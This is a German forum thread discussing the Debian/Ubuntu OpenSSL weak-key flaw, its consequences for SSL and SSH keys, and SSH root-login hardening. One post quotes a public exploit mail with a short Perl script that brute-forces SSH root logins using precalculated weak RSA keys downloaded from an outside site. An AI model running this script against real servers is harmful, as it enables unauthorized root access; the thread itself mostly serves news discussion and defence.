Debian (Ubuntu, etc) generierte SSL-Zertifikate seit Sept. 2006 viel zu schwach

[BananaJoe]

Wundert mich das dieser (evtl. Jahrhundertbug) hier noch gar nicht diskutiert wird- oder ist es am Ende gar nicht so schlimm?! :confused:

Ich kann mir wohl jetzt auch als Privatanwender nicht mehr sicher sein, ob meine z. B. Kontodaten, nicht mitgeschnitten wurden, als ich mich guter Dinge auf einer openssl gesicherten Seite befand, oder?!

http://metasploit.com/users/hdm/tools/debian-openssl/

http://www.ubuntu.com/usn/usn-612-2
http://wiki.debian.org/SSLkeys

MfG

[iDiot]

Hier die heise Meldung dazu:
http://www.heise.de/security/Schwache-Krypto-Schluessel-unter-Debian-Ubuntu-und-Co--/news/meldung/107808

Ein funktionierender Exploit:

Hi Securityfocus,

the debian openssl issue leads that there are only 65.536 possible
ssh keys generated, cause the only entropy is the pid of the process
generating the key.

This leads to that the following perl script can be used with the
precalculated ssh keys to brute force the ssh login. It works if such
a keys is installed on a non-patched debian or any other system
manual configured to.

On an unpatched system, which doesn't need to be debian, do the
following:

1. Download http://www.deadbeef.de/rsa.2048.tar.bzip2

2. Extract it to a directory

3. Enter into the /root/.ssh/authorized_keys a SSH RSA key with 2048
Bits, generated on an upatched debian (this is the key this exploit
will break)

4. Run the perl script and give it the location to where you
extracted the bzip2 mentioned.

#!/usr/bin/perl
my $keysPerConnect = 6;
unless ($ARGV[1]) {
print "Syntax : ./exploiter.pl pathToSSHPrivateKeys
SSHhostToTry\n";
print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\n";
print "By mm@deadbeef.de\n";
exit 0;
}
chdir($ARGV[0]);
opendir(A, $ARGV[0]) || die("opendir");
while ($_ = readdir(A)) {
chomp;
next unless m,^\d+$,;
push(@a, $_);
if (scalar(@a) > $keysPerConnect) {
system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map {
"-i ".$_ } @a)." ".$ARGV[1]);
@a = ();
}
}

5. Enjoy the shell after some minutes (less than 20 minutes)

Regards,
Markus Mueller
mm@deadbeef.de



Bitter ist vor allem wie lange das keinem aufgefallen ist!

[The Cell]

Was soll man da noch diskutieren, ist doch schon seit ein paar Tagen draußen. Da ist Scheiße passiert. Sehr große Scheiße, die knapp 2 Jahre gestunken hat, ehe jemand mit Ahnung mal "Read the fuckin' source" gespielt hat.
Klassisches Beispiel von "Open Source ist nur dann sicherer, wenn der Quelltext von kompetenten Leuten gelesen wird".

TC

[Gast]

Bin gespannt wie die Linux Lemminge sich da mal rausreden.
Bei Windows wäre diese Source innerhalb von Tagen von einem Sicherheitssupervisor reviewed geworden, und ein Patch über das automatische Windowsupdate wäre rausgegangen, ohne das dieser Bug und die Exploits wild durchs Netz gepostet werden (wie jetzt).
Wird jetzt ein schönes Wettrennen zwischen Scriptkiddies und überlasteten Linuxadmins. Das ist wohl das Ende von Debian/Ubuntu ausserhalb des Hobbybereichs.

[derpinguin]

Bin gespannt wie die Linux Lemminge sich da mal rausreden.
Bei Windows wäre diese Source innerhalb von Tagen von einem Sicherheitssupervisor reviewed geworden, und ein Patch über das automatische Windowsupdate wäre rausgegangen, ohne das dieser Bug und die Exploits wild durchs Netz gepostet werden (wie jetzt).
Wird jetzt ein schönes Wettrennen zwischen Scriptkiddies und überlasteten Linuxadmins. Das ist wohl das Ende von Debian/Ubuntu ausserhalb des Hobbybereichs.
Quark. Das ganze wird gefixt und gut ist. Was meinst du wieviele Löcher in Windows sind, die offen sind und niemand von ihrer Exisitenz erfährt, bis das Loch im großen Stil genutzt wird, weils Closed Source ist?

[iDiot]

Quark. Das ganze wird gefixt und gut ist. Was meinst du wieviele Löcher in Windows sind, die offen sind und niemand von ihrer Exisitenz erfährt, bis das Loch im großen Stil genutzt wird, weils Closed Source ist?
Gerade das stimmt in dem Fall nicht, da auch gepatchte Systeme und nicht Debian Systeme betroffen sind wenn der Key aus einem schwachen System heraus erstellt wurde, sodass aus dem Public Key der Private Key errechnet werden kann!

Also nix mit patchen und gut ist.

Übrigens ist auch TOR dadurch betroffen!

[Gast]

Hier die heise Meldung dazu:

3. Enter into the /root/.ssh/authorized_keys a SSH RSA key with 2048
Bits, generated on an upatched debian (this is the key this exploit
will break)


Geht das auch von außen?

[iDiot]

Soweit ich das verstanden habe ist die Sache die das die Keys durch den verhauten Zufallsgenerator schon dort sind. Der Exploit ist ja ein Beispiel für das du ein System mit fehlerhaftem Key brauchst.

Normalerweise kannst du als User nicht dorthin.

Aber ich bin nicht gerade ein Linux-Security Professional :)

Ahja gerade ist wieder ein Artikel darüber auf heise.de erschienen:
http://www.heise.de/newsticker/Konsequenzen-des-OpenSSL-Debakels--/meldung/107921


Im Zweifel sollten Anwender alle seit September 2006 erzeugten SSL- und SSH-Schlüssel neu generieren und damit ausgestellte Zertifikate zurückrufen. Insbesondere auf betroffene Zertifizierungsstellen dürfte viel Arbeit zukommen.

[The_Invisible]

1. wer sagt das ich authorized_keys überhaupt nutze?
2. wer sagt das der login über keys only überhaupt möglich ist?
3. wer root login über öffentliche ips oder generell root logins über ssh zulässt hat es nicht besser verdient

mfg

[iDiot]

Ich denke auch gar nicht dass das die größte Problematik ist sondern eher das mit den Keys auch mitgeschnittener Traffic z.B.: im Tor Netz problemlos entschlüsselt werden kann.
Auf OpenSSL basiert die Verbindungssicherheit vieler wichtiger Netzwerkdienste, beispielsweise des Webservers Apache, des Log-in-Dienstes SSH, des OpenVPN-Dienstes, des Nameservers Bind, der E-Mail-Verschlüsselung S/MIME sowie die Vertrauenswürdigkeit digitaler Signaturen. Dies ermöglicht Angreifern unter Umständen, beispielsweise SSL-Verbindungen abzuhören und zu manipulieren, sich unautorisierten Zugriff auf SSH-Server zu verschaffen oder den Cache von DNS-Servern zu vergiften.

Es ist leider ein Totalversagen in genau dem Punkt der bei OSS immer hervorgehoben wird wenn es um die Vorteile gegenüber Windows geht.

[iDiot]

Ahja soviel zum Thema Informationspolitik:
http://www.heise.de/newsticker/OpenSSL-Wirrwarr-verunsichert-Anwender-und-Admins--/meldung/108005

O_o

[buyman]

Tja, das was da abgelaufen ist und immer noch abläuft ist alles andere als schön.

Hier hats wer verbockt, und das gewaltig. Ich frage mich, wie die sowas übersehen konnten ...

[Gast]

es geht aber NUR um schlüssel die mit openssl gemacht wurden.
schön, dass es puttygen gibt

[da.phreak]

Menschen machen nunmal Fehler, ob nun open- oder closed-source.

In diesem Fall ist leider dabei der Sicherheits-GAU schlechthin entstanden. Wobei es schon ziemlich blöd klingt, wie der Bug entstanden ist. Da bastelt mal eben jemand an einen kryptographisch relevanten Code rum, der damit eigentlich nichts zu tun hat und somit auch auch nicht grad den Durchblick hat.

Nun hat man (mich eingeschlossen) die Arbeit, diverse Keys ausztauschen zu müssen. Leider pro PC/Server nicht nur einer, da es mehrere Dienste gibt, die aus openssl aufsetzen.

[Mr. Lolman]

3. wer root login über öffentliche ips oder generell root logins über ssh zulässt hat es nicht besser verdient

mfg

Ist Fernwartung mittels rootlogin über ssh leicht so ein no-go? Und wenn ja, wie würd mans besser machen?

[The_Invisible]

generell: direkt root ist immer böse. nicht umsonst sperrt ubuntu zb standardmäßig den root zugang.

eine möglichkeit wäre also, normale user anzulegen die gewissen privilegien (mittels sudo) genießen. zb ein dienst den man immer braucht wäre services neustarten, dafür könnte man einen eigenen benutzer anlegen. oder man legt einen benutzer an der sich mittels "su" hochstufen darf. das hat auch den vorteil das der angreifer erst noch das root passwort bräuchte um was anzustellen. hier ist es natürlich auch wichtig das dateiberechtigungen richtig gesetzt sind sonst könnte ein normaler user auch wichtige konfigurationsdateien lesen und so gegebenenfalls an wichtige passwörter kommen.

ansonsten sperrt man mit nat, firewall und routing alle management zugänge von draußen und erlaubt zugang nur vom internen netz mittels vpn. das ganze könnte man noch kombinieren mit "non-standard ports usuage" und "client acls".

methoden gibt es viele, es kann aber quasi alles nur sicherer werden als ein direkter root login auf einem öffentlichen rechner.

mfg

[iDiot]

Hier gibts einen heise Artikel wie betroffene Admins das Problem angehen können:
http://www.heise.de/security/Der-kleine-OpenSSL-Wegweiser--/artikel/108001

Denn wie gesagt, das root Login war nur ein Beispiel - Exploit.


Tickende Zeitbomben sind aufgezeichnete Verbindungen, über die verschlüsselt vertrauliche Daten übertragen wurden. Mit den richtigen Tools, die in Hackerkreisen sicher bald verfügbar sind, kann ein Angreifer, dem beispielsweise eine PCAP-Datei mit einer kompletten SSH-Sitzung in die Hand fällt, unter Umständen das Passwort herausfischen – oder aus einer mitgeschnittenen https-Verbindung die Online-Banking-PIN. (cr)

[Gast]

generell: direkt root ist immer böse. nicht umsonst sperrt ubuntu zb standardmäßig den root zugang.

eine möglichkeit wäre also, normale user anzulegen die gewissen privilegien (mittels sudo) genießen. zb ein dienst den man immer braucht wäre services neustarten, dafür könnte man einen eigenen benutzer anlegen. oder man legt einen benutzer an der sich mittels "su" hochstufen darf. das hat auch den vorteil das der angreifer erst noch das root passwort bräuchte um was anzustellen. hier ist es natürlich auch wichtig das dateiberechtigungen richtig gesetzt sind sonst könnte ein normaler user auch wichtige konfigurationsdateien lesen und so gegebenenfalls an wichtige passwörter kommen.

ansonsten sperrt man mit nat, firewall und routing alle management zugänge von draußen und erlaubt zugang nur vom internen netz mittels vpn. das ganze könnte man noch kombinieren mit "non-standard ports usuage" und "client acls".

methoden gibt es viele, es kann aber quasi alles nur sicherer werden als ein direkter root login auf einem öffentlichen rechner.

mfg


root verbieten hat nur den einzigen Vorteil, dass man eben 2 statt nur einem Passwort knacken muss. Wenn man allerdings ein gutes Passwort hat ist die chance dass jemand dieses knackt so verschwindend gering, dass es keine Rolle spielt ob es ein oder zwei sind.

[Funky Bob]

root verbieten hat nur den einzigen Vorteil, dass man eben 2 statt nur einem Passwort knacken muss. Wenn man allerdings ein gutes Passwort hat ist die chance dass jemand dieses knackt so verschwindend gering, dass es keine Rolle spielt ob es ein oder zwei sind.


Ganz so einfach ist es ja nicht...

Denn der Angreifer müsste erstmal wissen, dass der root-login gesperrt ist, dann müsste er wissen wie der Name des SSH-Nutzers lautet und dann kann er anfangen auf diesen Nutzer zu Bruteforcen um dann anschließend den root anzugehen.

Aber wie gesagt, man muss erstmal wissen dass das nicht geht, mit dem root-direkt-login.

[Gast]

Da hast du allerdings recht. Ich würde aber sagen, dass bruteforce attacken, wenn man ein gutes Passwort hat unmöglich sind. Entweder das Passwort ist schlecht, oder es wird ein Exploit verwendet. Deshalb mache ich mir z.B. nicht die Umstände root zu verbieten. Wie ich aus den logs lesen kann wird sowieso nur versucht über www und ähnlich oft verwendete user hineinzukommen. Scheinbar gehen die bereits davon aus, dass root gesperrt ist. Finde es aber wirklich immer wieder lustig wieviele log-in Versuche es hier täglich gibt ;)

Aber um zurück zum eigentlichen Thema zu kommen: Verwendet Debian standardmässig OpenSSL zur key Erstellung? Also wenn man bei der Standartinstallation das passwort festlegt.